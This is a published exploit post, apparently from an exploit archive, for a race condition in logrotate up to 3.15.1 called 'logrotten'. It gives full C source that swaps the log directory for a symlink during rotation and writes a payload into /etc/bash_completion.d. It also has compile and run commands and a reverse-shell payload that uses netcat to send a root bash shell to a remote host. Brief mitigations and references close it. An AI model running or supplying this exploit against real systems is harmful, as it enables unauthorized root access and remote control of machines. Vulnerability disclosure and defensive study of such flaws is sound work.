logrotten 3.15.1 - Privilege Escalation Exploit--
Kod:
# Exploit Title: logrotten 3.15.1 - Privilege Escalation
# Exploit Author: Wolfgang Hotwagner
# Vendor Homepage: https://github.com/logrotate/logrotate
# Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1
# Version: all versions through 3.15.1
# Tested on: Debian GNU/Linux 9.5 (stretch)
## Brief description
- logrotate is prone to a race condition after renaming the logfile.
- If logrotate is executed as root, with option that creates a
file ( like create, copy, compress, etc.) and the user is in control
of the logfile path, it is possible to abuse a race-condition to write
files in ANY directories.
- An attacker could elevate his privileges by writing reverse-shells into
directories like "/etc/bash_completition.d/".
## Precondition for privilege escalation
- Logrotate has to be executed as root
- The logpath needs to be in control of the attacker
- Any option that creates files is set in the logrotate configuration
## Tested version
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
## Compile
- gcc -o logrotten logrotten.c
## Prepare payload
```
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &);
fi" > payloadfile
```
## Run exploit
If "create"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile /tmp/log/pwnme.log
```
If "compress"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```
## Known Problems
- It's hard to win the race inside a docker container or on a lvm2-volume
## Mitigation
- make sure that logpath is owned by root
- use option "su" in logrotate.cfg
- use selinux or apparmor
## Author
- Wolfgang Hotwagner
## References
- https://github.com/whotwagner/logrotten
-
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
-
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
- https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
-
https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
logrotten.c
/*
* logrotate poc exploit
*
* [ Brief description ]
* - logrotate is prone to a race condition after renaming the logfile.
* - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
* - An attacker could elevate his privileges by writing reverse-shells into
* directories like "/etc/bash_completition.d/".
*
* [ Precondition for privilege escalation ]
* - Logrotate needs to be executed as root
* - The logpath needs to be in control of the attacker
* - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration.
*
* [ Tested version ]
* - Debian GNU/Linux 9.5 (stretch)
* - Amazon Linux 2 AMI (HVM)
* - Ubuntu 18.04.1
* - logrotate 3.8.6
* - logrotate 3.11.0
* - logrotate 3.15.0
*
* [ Compile ]
* - gcc -o logrotten logrotten.c
*
* [ Prepare payload ]
* - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
*
* [ Run exploit ]
* - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log
* - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1
*
* [ Known Problems ]
* - It's hard to win the race inside a docker container or on a lvm2-volume
*
* [ Mitigation ]
* - make sure that logpath is owned by root
* - use su-option in logrotate.cfg
* - use selinux or apparmor
*
* [ Author ]
* - Wolfgang Hotwagner
*
* [ Contact ]
* - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
* - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
* - https://github.com/whotwagner/logrotten
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
#define PROGNAME "logrotten"
void usage(const char* progname)
{
printf("usage: %s [OPTION...] <logfile>\n",progname);
printf(" %-3s %-22s %-30s\n","-h","--help","Print this help");
printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}
int main(int argc, char* argv[] )
{
int length, i = 0;
int j = 0;
int index = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
uint32_t imask = IN_MOVED_FROM;
char *payloadfile = NULL;
char *logfile = NULL;
char *targetdir = NULL;
char *logpath;
char *logpath2;
char *targetpath;
int debug = 0;
int sleeptime = 1;
char ch;
const char *p;
FILE *source, *target;
int c;
while(1)
{
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"payloadfile", required_argument, 0, 0},
{"targetdir", required_argument, 0, 0},
{"sleep", required_argument, 0, 0},
{"help", no_argument, 0, 0},
{"open", no_argument, 0, 0},
{"debug", no_argument, 0, 0},
{"compress", no_argument, 0, 0},
{0,0,0,0}
};
c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
if (c == -1)
break;
switch(c)
{
case 'p':
payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
memset(payloadfile,'\0',strlen(optarg)+1);
strncpy(payloadfile,optarg,strlen(optarg));
break;
case 't':
targetdir = alloca((strlen(optarg)+1)*sizeof(char));
memset(targetdir,'\0',strlen(optarg)+1);
strncpy(targetdir,optarg,strlen(optarg));
break;
case 'h':
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
case 'd':
debug = 1;
break;
case 'o':
imask = IN_OPEN;
break;
case 'c':
imask = IN_OPEN;
break;
case 's':
sleeptime = atoi(optarg);
break;
default:
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
}
}
if(argc == (optind+1))
{
logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
memset(logfile,'\0',strlen(argv[optind])+1);
strncpy(logfile,argv[optind],strlen(argv[optind]));
}
else
{
usage(PROGNAME);
exit(EXIT_FAILURE);
}
for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
index = j+1;
p = &logfile[index];
logpath = alloca(strlen(logfile)*sizeof(char));
logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
if(targetdir != NULL)
{
targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
strcat(targetpath,targetdir);
}
else
{
targetdir= TARGETDIR;
targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
targetpath[0] = '\0';
strcat(targetpath,TARGETDIR);
}
strcat(targetpath,"/");
strcat(targetpath,p);
for(j = 0; j < index; j++)
logpath[j] = logfile[j];
logpath[j-1] = '\0';
strcpy(logpath2,logpath);
logpath2[strlen(logpath)] = '2';
logpath2[strlen(logpath)+1] = '\0';
/*creating the INOTIFY instance*/
fd = inotify_init();
if( debug == 1)
{
printf("logfile: %s\n",logfile);
printf("logpath: %s\n",logpath);
printf("logpath2: %s\n",logpath2);
printf("targetpath: %s\n",targetpath);
printf("targetdir: %s\n",targetdir);
printf("p: %s\n",p);
}
/*checking for error*/
if ( fd < 0 ) {
perror( "inotify_init" );
}
wd = inotify_add_watch( fd,logpath, imask );
printf("Waiting for rotating %s...\n",logfile);
while(1)
{
i=0;
length = read( fd, buffer, EVENT_BUF_LEN );
while (i < length) {
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) {
if ( event->mask & imask ) {
if(strcmp(event->name,p) == 0)
{
rename(logpath,logpath2);
symlink(targetdir,logpath);
printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
if(payloadfile != NULL)
{
printf("Waiting %d seconds before writing payload...\n",sleeptime);
sleep(sleeptime);
source = fopen(payloadfile, "r");
if(source == NULL)
exit(EXIT_FAILURE);
target = fopen(targetpath, "w");
if(target == NULL)
{
fclose(source);
exit(EXIT_FAILURE);
}
while ((ch = fgetc(source)) != EOF)
fputc(ch, target);
chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
fclose(source);
fclose(target);
}
inotify_rm_watch( fd, wd );
close( fd );
printf("Done!\n");
exit(EXIT_SUCCESS);
}
}
}
i += EVENT_SIZE + event->len;
}
}
/*removing from the watch list.*/
inotify_rm_watch( fd, wd );
/*closing the INOTIFY instance*/
close( fd );
exit(EXIT_SUCCESS);
}
# 0day.today [2019-10-14] #